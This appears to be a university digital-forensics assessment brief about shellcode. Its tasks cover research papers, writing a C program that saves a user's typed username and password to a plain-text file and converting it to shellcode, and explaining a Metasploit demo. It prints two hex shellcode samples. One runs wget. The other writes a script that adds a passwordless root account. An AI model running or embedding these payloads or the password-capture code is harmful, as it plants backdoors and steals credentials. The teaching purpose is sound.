Assessment Information

SIT703: Advanced Digital Forensics

Assessment 1: Technical Report

This document supplies detailed information on assessment tasks for this unit.

Key information

- Due: 8:00pm (AEST) Friday, 1 April 2022 (week 4)
- Weighting: 30%
- Word count: 2000 words

Learning Outcomes

This assessment assesses the following Unit Learning Outcomes (ULO) and related Graduate Learning Outcomes (GLO):

Unit Learning Outcome (ULO)	Graduate Learning Outcome (GLO)
ULO 1: Apply knowledge of security on Windows network domain and follow standard procedure to investigate different types of cyber-crime	**GLO 1:** Discipline knowledge and capabilities **GLO 3:** Digital literacy **GLO 4:** Critical thinking
ULO 2: Investigate the usefulness of various forensic techniques and apply relevant methods to gain access and recover computer crime data	**GLO 1:** Discipline knowledge and capabilities **GLO 3:** Digital literacy **GLO 4:** Critical thinking **GLO 5:** Problem solving

Purpose

Students should demonstrate their ability to review literature on shellcode and develop knowledge in technical exploits and their impacts on computer systems. Students will be required to compare different techniques and generate their own shellcode based on the requirements provided and implement a fully functional shellcode. Students will be assessed on their ability to perform the required tasks of synthesizing knowledge from research papers, video demonstrations, and technical tutorials and present a technical report.

Instructions

Students are required to put together a technical report of approximately 2000 words as well as exhibits to support findings and a bibliography. This report should be written as an essay in the following aspects:

- comparison of different methods used to generate shellcode
- analysis and reflection on the technical exploitations and their impact on computer systems
- application and implementation of shellcode

Assessment Information

Problem Statement

Part A. Shellcode in Literature

Students are required to answer research questions based on these academic papers (also available on CloudDeakin, under Content> Assessment Resources> Assessment task1):

"Evasion Techniques" https://ieeexplore.ieee.org/abstract/document/6042389/
"English Shellcode" https://dl.acm.org/citation.cfm?id=1653725
"Automatic Shellcode Transplant" https://ieeexplore.ieee.org/abstract/document/7958612
"Polymorphic Shellcode Detection" https://link.springer.com/content/pdf/10.1007%2F11790754_4.pdf

There should be at least **four** additional references from recent academic (IEEE or ACM) research papers or white papers from IT companies. Students must perform their own research for additional references.

1. Read the paper "Evasion Techniques", explain how a piece of shellcode can bypass an intrusion detection system and list the shellcode issues related to computer forensic investigations.
2. Read the paper "English Shellcode", explain the concept of program counter and its importance to an attacker using shellcodes.
3. In the paper "Automatic Shellcode Transplant", what are the two challenges of the transplanted shellcode?
4. In the paper "Polymorphic Shellcode Detection", what are the advantages and limitations of the proposed detection method?

(Each requirement is worth 2 mark)
Subtotal: 8 marks

Part B. Shellcode in Practice

Suppose you are working for an IT security company in Melbourne which is subcontracted by Deakin University to test the system security of the campus network. Your manager wants you to attempt to write shellcode which takes a user's account name and his/her password and stores the information as plain text in a text file called user.dat in the user's current directory.

Requirements:

1. You should implement a C program to ask a user to type his username and password one a command line input (i.e., from the standard input channel).
2. Your program should demand at least two user attempts of password input. That is, your program should only terminate when the user has entered two identical passwords as instructed.
3. Your program should store the username and password pair into a text file called "user.dat" in the current directory.
4. You should convert your C code into a shellcode by using ShellMe (A tutorial of using ShellMe is presented in the second week's workshop).

(Each requirement is worth 2 mark)

Assessment Information

Identify the following two pieces of shellcode by describe their designed actions:

Shellcode 1—

```
\x6a\x0b\x58\x99\x52\x68\x61\x61\x61\x61
\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65
\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72
\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x40
\xcd\x80
```

Shellcode 2—

```
\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x48\x02\xa6\x3b\xea\x01\x70
\x39\x60\x01\x70\x39\x1f\xff\x0d\x7c\xa8\x29\xae\x38\x7f\xff\x04
\x38\x80\x02\x01\x38\xa0\xff\xff\x38\x0b\xfe\x95\x44\xff\xff\x02
\x60\x60\x60\x60\x38\x9f\xff\x0e\x38\xab\xfe\xe5\x38\x0b\xfe\x94
\x44\xff\xff\x02\x60\x60\x60\x60\x38\x0b\xfe\x96\x44\xff\xff\x02
\x60\x60\x60\x60\x7c\xa5\x2a\x79\x38\x7f\xff\x04\x90\x61\xff\xf8
\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0b\xfe\xcb\x44\xff\xff\x02
\x60\x60\x60\x60\x38\x0b\xfe\x91\x44\xff\xff\x02\x2f\x74\x6d\x70
\x2f\x78\x2e\x73\x68\x58\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0a
\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x27\x72\x30\x30\x74\x3a
\x3a\x39\x39\x39\x3a\x38\x30\x3a\x3a\x30\x3a\x30\x3a\x72\x30\x30
\x74\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x27\x20\x7c\x20\x2f
\x75\x73\x72\x2f\x62\x69\x6e\x2f\x6e\x69\x6c\x6f\x61\x64\x20\x2d
\x6d\x20\x70\x61\x73\x73\x77\x64\x20\x2e\x0a
```

(Correct identification of each shellcode is worth 2 mark)

Subtotal: 12 marks

Part C. Shellcode in Application

You need to write a short report to demonstrate your level of understanding about shellcode and its application on hacking platforms, operating systems vulnerability, penetration testing and exploitation. Your report should consist of the following parts:

1. List and explain every command used in the metasploit demo. The video can be accessed on Clouddeakin, under Content> Assessment Resources> Assessment task1> Meterpreter_demo.wmv.
2. Identify the name of the shellcode used in the demo, reproduce its contents in hex and provide a screen capture of it in your report, and explain what this shellcode is capable of doing.
3. Find and list at least five different shellcode-generating approaches. Then compare the advantages and disadvantages from the viewpoint of attackers.
4. Describe the concept of polymorphic shellcode. And discuss the impact of misusing penetration toolkits such as Metasploit for malicious purposes.

(Each part worth 2 mark)

General Requirements:

Your answers towards the above three Parts (A, B, and C) will form an essay for submission. Your essay should include an introduction section, a body section addressing the three parts listed above, a conclusion section and a reference section. Your essay should have at least 2,000 words. Your references must come from the following sources:

Assessment Information

- The metasploit demo recording
- Academic (IEEE, ACM, Springer, etc.) research papers in the last 10 years
- Published textbooks
- No references to online blogs, videos, wiki pages are allowed.

(2 marks are given to the quality of the essay)
Subtotal: 10 marks

Assessment Information

SIT703 Advanced Digital Forensics Assessment Task 1: Technical Report rubric

Criteria **Attributes and Assignment Questions**	**Satisfactory (up to 50% of total marks)**	**Above Average (50% - 75% of total marks)**	**Very Good (above 75% of total marks)**
Criteria 1: Students answer research questions based on the academic papers. (A1, A2, A3, A4 – 8 marks, 2 marks each)	Respond to questions / tasks arising explicitly from a closed inquiry. Synthesise and analyse information / data to reproduce existing knowledge in prescribed formats.	Respond to questions / tasks required by and implicit in a closed inquiry. Synthesise and analyse information / data to reorganize existing knowledge in standard formats.	Respond to questions / tasks generated from a closed inquiry. Synthesise and analyse information / data to construct emergent knowledge.
Criteria 2: Students develop shellcode for given requirements and identify designed actions of shellcode. (B1, B2, B3, B4, Shellcode 1&2 – 12 marks, 2 marks each)	Develop required information / data that partially satisfies given requirements. Respond to questions in simple formats.	Develop required information / data that satisfies given requirements. Respond to questions in clear formats with some details.	Develop required information / data that fully satisfies given requirements and even exceeds expectations. Respond to questions in clear formats with analytical details.
Criteria 3: Students demonstrate level of understanding about shellcode and its application. (C1, C2, C3, C4 – 8 marks, 2 marks each)	Organize information/data using simple structure and process.	Organize information / data using an organized and clear structure and process.	Organize information / data using a well-organized and clear structures and self-determined processes.
Criteria 4: Students communicate knowledge and organize information collected/generated in an essay. (General requirements – 2 marks)	Use mainly lay language to demonstrate required knowledge and understanding for lecturer/teacher as audience. Turnitin similarity score < 30%, essay length above 1,500 words, occasional grammar mistakes, consistent use of a chosen referencing style (e.g. Harvard).	Uses some discipline- specific language to demonstrate self-selected knowledge and understanding from a stated perspective and for a specified audience. Turnitin similarity score < 20%, essay length approximately 2,000 words, organized sentences, paragraphs, and sections, rare grammar mistakes, consistent use of referencing style.	Use mostly discipline- specific language to demonstrate knowledge and understanding within a field from a scholarly perspective for a specified audience. Turnitin similarity score < 10%, essay length approximately 2,000 words, well organized sentences, paragraphs, and sections, no grammar mistakes, correct and consistent use of a chosen referencing style.

Note: Students are encouraged to compare the received marks against this matrix to identify which aspect need improvements.